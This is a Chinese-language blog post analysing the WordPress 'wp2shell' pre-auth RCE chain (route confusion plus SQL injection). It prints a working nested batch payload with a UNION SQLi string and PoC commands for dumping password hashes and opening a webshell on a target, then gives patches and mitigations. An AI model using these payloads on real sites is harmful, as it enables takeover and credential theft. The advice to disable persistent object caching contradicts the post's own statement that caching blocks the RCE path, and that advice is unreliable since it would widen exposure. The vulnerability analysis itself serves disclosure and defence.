WordPress wp2shell 预认证 RCE 漏洞深度分析(CVE-2026-63030 / CVE-2026-60137)

2026 年 7 月 17 日,WordPress 发布了 6.9.5 和 7.0.2 两个紧急安全版本,修复了一个代号 wp2shell 的核心级预认证远程代码执行漏洞。该漏洞由 Assetnote(Searchlight Cyber)研究员 Adam Kues 发现,通过 HackerOne 漏洞奖励计划负责任披露。

wp2shell 不是单一漏洞,而是两个 CVE 的链式组合:CVE-2026-63030(REST API 批量路由混淆)与 CVE-2026-60137(WP_Query SQL 注入)。核心利用通过一次未认证的 batch 请求完成 SQL 注入,PoC 利用该注入直接创建管理员账号并自动登录后台上传 webshell 插件,最终完全控制站点。

一、漏洞原理

1.1 REST API Batch 机制

WordPress 5.6 引入了 /wp-json/batch/v1 端点,允许客户端在一个 HTTP 请求中发送多个子请求,服务器批量执行并返回结果。

正常工作流程:客户端发送一个包含 requests 数组的 JSON 请求,服务器对数组中的每个子请求独立完成以下步骤:

  1. 路由匹配 — 根据子请求的 path(如 /wp/v2/posts)找到对应的处理函数
  2. 参数验证 — 将该子请求的参数与路由 schema 比对,拒绝未声明的参数
  3. 权限检查 — 根据处理函数的要求,决定是否需要登录态
  4. 执行并收集结果 — 按顺序执行所有子请求,汇总响应

整个过程设计为每个子请求独立校验,互不干扰。

1.2 两个 CVE 的分工

wp2shell 是两个 CVE 的链式组合,各自承担不同角色:

CVE 职责 单独能做什么
CVE-2026-63030 路由混淆(Auth Bypass) 让内层子请求跳过认证和参数验证
CVE-2026-60137 SQL 注入(数据读取) 让 author__not_in 的值被拼入 SQL

单独存在任何一个 CVE 都无法实现 RCE。CVE-2026-63030 把攻击者”放进门”,CVE-2026-60137 让攻击者拿到”钥匙”。

1.3 双重嵌套请求如何触发漏洞

PoC 的核心思路:利用一个精心构造的双重嵌套 batch 请求,让两个 CVE 在同一请求中相继触发。

第一层嵌套:外层 batch 中发送 POST /wp/v2/posts,但其 body 不是正常的帖子数据,而是一个完整的 requests 数组——这是一个”伪装成帖子创建请求的内层 batch”。

关键点:WordPress 的 batch 框架在处理子请求时,会检查请求 body 中是否包含 requests 字段。如果存在,框架会将其递归地当作内层 batch 展开,再次对每个子请求执行路由匹配、参数验证、权限检查。攻击者正是利用了这个递归行为——内层子请求的认证检查本应独立执行,但由于 CVE-2026-63030 的路由混淆,这些检查被整体跳过,参数的 schema 验证也一并失效。

第二层嵌套:内层 batch 中包含一个指向 /wp/v2/posts/999999 的 GET 请求,携带 author_exclude、orderby、per_page 参数。

  • 999999 是一个不存在的帖子 ID,目的是触发 item route(单帖路由 /wp/v2/posts/<id>)而非 collection route(集合路由 /wp/v2/posts)
  • item route 的 schema 只定义了帖子 ID 相关的参数,不包含 author_exclude、orderby、per_page 这些集合路由专属参数
  • 由于路由混淆,这个 GET 请求被错误地分发到了 posts 集合处理器 get_items(),后者接受这些参数并传给 WP_Query
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"requests": [
{
"method": "POST",
"path": "///"
},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{
"method": "POST",
"path": "///"
},
{
"method": "GET",
"path": "/wp/v2/posts/999999?author_exclude=0) UNION SELECT ... -- -&orderby=none&per_page=500"
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1",
"body": { "requests": [] }
}
]
}

外层 batch 中每个子请求前都有一个 /// primer——这是触发数组错位的关键。wp_parse_url() 会将 /// 解析为 host 段为空的 URL,返回失败,从而在 $validation 中产生一个错误条目,但 $matches 中不留空位,导致后续索引全部错位。

外层 batch 中第三个子请求(POST /batch/v1,body 为空 requests)是填充用的 spacer——它本身不携带有效载荷,作用是让外层 batch 在递归处理时保持正确的偏移量对齐。

1.4 完整调用链

1
2
3
4
5
6
7
8
9
10
11
12
外层 HTTP 请求
└─ POST /?rest_route=/batch/v1 ← 外层 batch(3 个子请求)
├─ 子请求 1: POST /// ← 外层 desync primer(触发外层数组错位)
├─ 子请求 2: POST /wp/v2/posts ← body.requests 展开为内层 batch,被路由混淆到 batch handler
│ └─ 内层 batch(3 个子请求,由 batch handler 递归处理)
│ ├─ 子请求 1: POST /// ← 内层 desync primer(触发内层数组错位)
│ ├─ 子请求 2: GET /wp/v2/posts/999999?author_exclude=... ← item route 伪装
│ │ └─ 路由混淆 → 分发到 get_items() ← CVE-2026-63030
│ │ └─ WP_Query 收到 author_exclude ← CVE-2026-60137
│ │ └─ 拼入 SQL → 注入成功
│ └─ 子请求 3: GET /wp/v2/posts ← 填充请求,维持内层偏移
└─ 子请求 3: POST /batch/v1 ← spacer,保持外层偏移对齐

整个过程只需一次 HTTP 请求,不需要任何认证凭据。

二、漏洞分析

2.1 根因:serve_batch_request_v1() 中的数组偏移

理解这个漏洞的核心,就是理解一个简单的数组错位问题。

serve_batch_request_v1() 是处理 batch 请求的主函数。它收到一个包含多个子请求的数组后,对每个子请求做两件事:

  1. 解析路径,找到对应的处理函数(handler),存入 $matches 数组
  2. 验证该子请求是否有权执行,存入 $validation 数组

理想情况下,两个数组的索引一一对应:

1
2
3
4
索引 0 的 handler  处理 索引 0 的请求
索引 1 的 handler 处理 索引 1 的请求
索引 2 的 handler 处理 索引 2 的请求
...

问题出在哪:当某个子请求的路径格式不合法时(比如 ///),WordPress 的路由解析函数 wp_parse_url() 会返回失败。遇到这种情况,代码只把错误信息追加到 $validation 数组,但没有在 $matches 中为它留一个空位。

结果就是两个数组的长度不一致了——$validation 比 $matches 多了一个元素。从这一刻起,所有后续的索引都错位了:

1
2
3
4
5
6
7
8
9
本来应该是:
$matches[0] → 处理 请求0 $validation[0] → 验证 请求0
$matches[1] → 处理 请求1 $validation[1] → 验证 请求1
$matches[2] → 处理 请求2 $validation[2] → 验证 请求2

错位后变成:
$matches[0] → 处理 请求1 $validation[0] → 验证 请求0(错误)
$matches[1] → 处理 请求2 $validation[1] → 验证 请求1(错误)
$matches[2] → 处理 请求3 $validation[2] → 验证 请求2(错误)

用实际的请求序列演示:

攻击者发送 4 个子请求:

顺序 路径 wp_parse_url() 结果
请求 0 /// 失败(host 段为空) 只进入 $validation[0] = 错误
请求 1 /wp/v2/posts 成功 $matches[0] = posts handler,$validation[1] = 通过
请求 2 /wp/v2/block-renderer/archives 成功 $matches[1] = block handler,$validation[2] = 通过
请求 3 /batch/v1 成功 $matches[2] = batch handler,$validation[3] = 错误

最终两个数组的状态:

1
2
$validation = [错误(请求0),    通过(请求1),      通过(请求2),    错误(请求3)]
$matches = [ posts_handler, block_handler, batch_handler]

注意:$matches 只有 3 个元素,$validation 有 4 个。当 batch 框架用索引 1 去取 handler 时,拿到的是 block_handler——但对应的验证结果是 通过(请求1),这其实是请求 1 的验证结果,不是请求 2 的。

这意味着:原本应该被 block-renderer handler 拒绝的请求,现在被 posts handler 处理了。这就是路由混淆——请求被分发到了错误的处理函数。

通俗理解: imagine 两列人排队,第一列是”该谁干活”,第二列是”干活前要检查什么”。因为第一个人没站好,导致从第二个人开始,所有人都站错了队——干活的找错了,检查的也找错了。

上述演示使用的是检测 payload(marker_probe)的 4 请求结构。实际利用 payload 遵循同样的原理,但结构不同:外层 3 个请求(/// primer + 携带内层 batch 的 POST /wp/v2/posts + spacer),内层同样 3 个请求(/// primer + SQLi GET + 填充请求)。两层各自有一个 /// primer,各自产生一次数组错位。

2.2 CVE-2026-60137:author__not_in SQL 注入

路由混淆解决了”如何到达 get_items()“的问题,但还需要一个参数能把 SQL 注入 payload 送进查询语句。这就是 CVE-2026-60137 的作用。

WP_Query 有一个查询变量 author__not_in,对应 SQL 的 post_author NOT IN (...) 条件。REST API 层通过参数名 author_exclude 暴露了这个变量。

正常情况下的参数净化:

1
2
3
4
5
6
请求参数: author_exclude=1,2,3
↓ WP_REST_Posts_Controller::get_items()
↓ sanitize_text_field() → [1, 2, 3]
↓ WP_Query::parse_query()
↓ $wpdb->prepare("... post_author NOT IN (%d, %d, %d)", 1, 2, 3)
↓ 安全参数化查询

漏洞情况下的参数绕过:

1
2
3
4
5
6
7
8
9
请求路径: GET /wp/v2/posts/999999?author_exclude=0) UNION SELECT ...
↓ 路由混淆 → 被分发到 get_items()
↓ 但原始请求是 item route(/posts/999999),schema 里没有 author_exclude
↓ 参数验证被跳过
↓ WP_Query 收到 author_exclude = "0) UNION SELECT ... -- -"
↓ 正常流程中 sanitize_text_field() 和 $wpdb->prepare() 两道防线均被绕过:
↓ item route schema 不含 author_exclude → 参数验证直接跳过 → sanitize_text_field() 不执行
↓ payload 以原始字符串进入 WP_Query → prepare() 未被调用 → 直接拼入 SQL
↓ 注入成功

注入成功后,攻击者获得三种数据读取能力:

模式 原理 速度 适用条件
UNION 伪造 WP_Post 行,通过 post_title 回显 1 请求/值 无持久化对象缓存
Error-based EXTRACTVALUE() 在 MySQL 错误中泄露数据 ~15 字节/请求 WP_DEBUG_DISPLAY 开启
Blind 逐位布尔搜索,读 X-WP-Total 头 ~8 请求/字符 通用,无前提条件

2.3 受影响版本

版本范围 状态
<= 6.8.5 不受影响
6.9.0 – 6.9.4 受影响
7.0.0 – 7.0.1 受影响

Cloudflare 官方通告指出,CVE-2026-63030 的 RCE 路径仅在”无持久化对象缓存”时成立。配置了 Redis 或 Memcached 的站点,RCE 路径不可用(UNION 伪造的 WP_Post 行会被缓存拦截),但底层 SQL 注入(CVE-2026-60137)仍然存在,攻击者仍可通过盲注读取数据。

三、复现

3.1 公开 PoC

GitHub 仓库 Icex0/wp2shell-poc(Python,仅标准库依赖)提供了完整的三步利用链:

1
2
git clone https://github.com/Icex0/wp2shell-poc.git
cd wp2shell-poc

3.2 检测(check)

1
2
python3 wp2shell.py check http://target
python3 wp2shell.py check http://target --confirm-sqli # 附带 SQL 注入确认

check 发送 benign batch marker probe,不注入 SQL。若返回 HTTP 207 且三个标记全中,则目标存在路由混淆缺陷。

--confirm-sqli 会发送实际的 SQLi payload(先尝试 UNION,失败则回退到时间盲注),确认注入是否可到达数据库。

image-20260719144133999

3.3 读取数据(read)

1
2
3
python3 wp2shell.py read http://target --preset fingerprint   # 服务器指纹
python3 wp2shell.py read http://target --preset users # 用户登录名和密码哈希
python3 wp2shell.py read http://target --query "SELECT @@version" # 自定义 SQL

三种提取模式按优先级自动选择:UNION(1 请求/值)→ Error-based(15 字节/请求)→ Blind(8 请求/字符)。

image-20260719144228995

3.4 RCE(shell)

1
2
3
4
5
6
# 预认证模式:SQLi 直接创建管理员 → 上传 webshell → RCE
python3 wp2shell.py shell http://target --cmd id
python3 wp2shell.py shell http://target -i # 交互式 shell

# 使用已有管理员凭据
python3 wp2shell.py shell http://target --user admin --password 'pwd' --cmd id

不传 --user/--password 时,PoC 走 SQLi-to-Admin Bridge 路径:不提取已有管理员的哈希,而是直接利用 SQL 注入让 WordPress 自己创建一个全新的管理员账号。实测创建的管理员名为 wp2_af09462c36df 这种格式,密码随机生成。整个创建过程在一步内完成,完全不需要破解密码哈希。

webshell 部署在随机路径 + 随机 token 保护下,执行完毕后自动清理管理员账号和插件目录。

image-20260719144401848

四、修复

4.1 升级

1
2
wp core update --version=6.9.5   # 6.9.x 分支
wp core update --version=7.0.2 # 7.0.x 分支

4.2 临时缓解

在升级前,可采取以下措施降低风险:

WAF 拦截:同时拦截 /wp-json/batch/v1 和 rest_route=/batch/v1。Cloudflare 已于 2026-07-17 部署 WAF 规则(免费套餐自动覆盖),具体规则 ID 请查阅 Cloudflare 安全公告。

禁用匿名 Batch API:通过 rest_pre_dispatch 钩子拒绝未认证的 batch 请求:

1
2
3
4
5
add_action('rest_pre_dispatch', function ($response, $server, $request) {
if (str_starts_with($request->get_route(), '/batch/v1') && !is_user_logged_in()) {
return new WP_Error('rest_forbidden', 'Batch API requires authentication', ['status' => 403]);
}
}, 10, 3);

长期加固:

  1. 保持自动更新开启
  2. 禁用持久化对象缓存(如非必要)—— 可阻断 RCE 路径,但 SQL 注入仍成立
  3. 通过 rest_authentication_errors 钩子限制匿名 REST API 访问
  4. 在 wp-content/uploads 中阻止 PHP 执行
  5. 定期使用 WPScan 扫描漏洞

参考来源:CVE 官方记录 (cve.org)、GitHub Security Advisory GHSA-ff9f-jf42-662q、Cloudflare Blog、腾讯云安全通告、安恒信息 CERT、Aikido Security、WPSentry

上一篇
下一篇